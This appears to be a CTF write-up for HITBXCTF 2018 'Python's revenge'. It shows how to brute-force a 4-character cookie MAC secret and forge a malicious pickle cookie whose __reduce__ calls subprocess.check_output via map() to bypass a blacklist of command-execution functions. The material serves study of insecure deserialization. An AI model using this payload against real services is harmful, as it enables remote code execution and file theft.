HITBXCTF 2018 Quals - Python's revenge
We are given a Python Flask webapp that allows us to store and retrieve a Python object. The app stores our secret with pickle
in a cookie named location
. To protect the cookie from malicious user modifications, a simple MAC scheme is implemented:
def getlocation(): cookie = request.cookies.get('location') if not cookie: return '' (digest, location) = cookie.split("!") if not safe_str_cmp(calc_digest(location, cookie_secret), digest): flash("Hey! This is not a valid cookie! Leave me alone.") return False location = loads(b64d(location)) return location def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest()
The secret
argument supplied is composed of 4 ascii_letters + digits
characters.
if not os.path.exists('.secret'): with open(".secret", "w") as f: secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(4)) f.write(secret) with open(".secret", "r") as f: cookie_secret = f.read().strip()
This is not secure enough, and it could be easily guessed with the following code: (we posted some data and obtains a legit cookie for this)
def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest() alphabet = string.ascii_letters + string.digits h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce' msg = 'VmFhYWEKcDAKLg==' for s in itertools.product(alphabet, repeat=4): if calc_digest(msg, ''.join(s)) == h: print 'secret = ' + ''.join(s) break else: print '[!] not found'
We retrieved the secret 'hitb'. Afterwards, during unpickling, the app installs a hook on the REDUCE method, which blacklists direct invocation of a lot of local command execution functions:
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen] ... def _hook_call(func): def wrapper(*args, **kwargs): session['cnt'] += 1 print session['cnt'] print args[0].stack for i in args[0].stack: if i in black_type_list: raise FilterException(args[0].stack[-2]) if session['cnt'] > 4: raise TimesException() return func(*args, **kwargs) return wrapper def loads(strs): reload(pickle) files = StringIO(strs) unpkler = pickle.Unpickler(files) unpkler.dispatch[pickle.REDUCE] = _hook_call( unpkler.dispatch[pickle.REDUCE]) return unpkler.load()
However, the hook function only compares unpickled method directly in the black list, therefore if we can indirectly call blacklisted functions it won't be effective. Let's do it with my favorite map
function. The following code will generate a malicious cookie which can be used to run any blacklisted functions:
import itertools from hashlib import sha256 import string import subprocess from base64 import b64encode as b64e from pickle import dumps def calc_digest(location, secret): return sha256("%s%s" % (location, secret)).hexdigest() ''' alphabet = string.ascii_letters + string.digits h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce' msg = 'VmFhYWEKcDAKLg==' for s in itertools.product(alphabet, repeat=4): if calc_digest(msg, ''.join(s)) == h: print 'secret = ' + ''.join(s) break else: print '[!] not found' ''' secret = 'hitb' class Exploit(object): def __reduce__(self): return (map, (subprocess.check_output, [['/bin/cat', '/flag_is_here']])) def make_cookie(location, secret): return "%s!%s" % (calc_digest(location, secret), location) print make_cookie(b64e(dumps(Exploit())), secret)
The flag is HITB{Py5h0n1st8eBe3tNOW}
.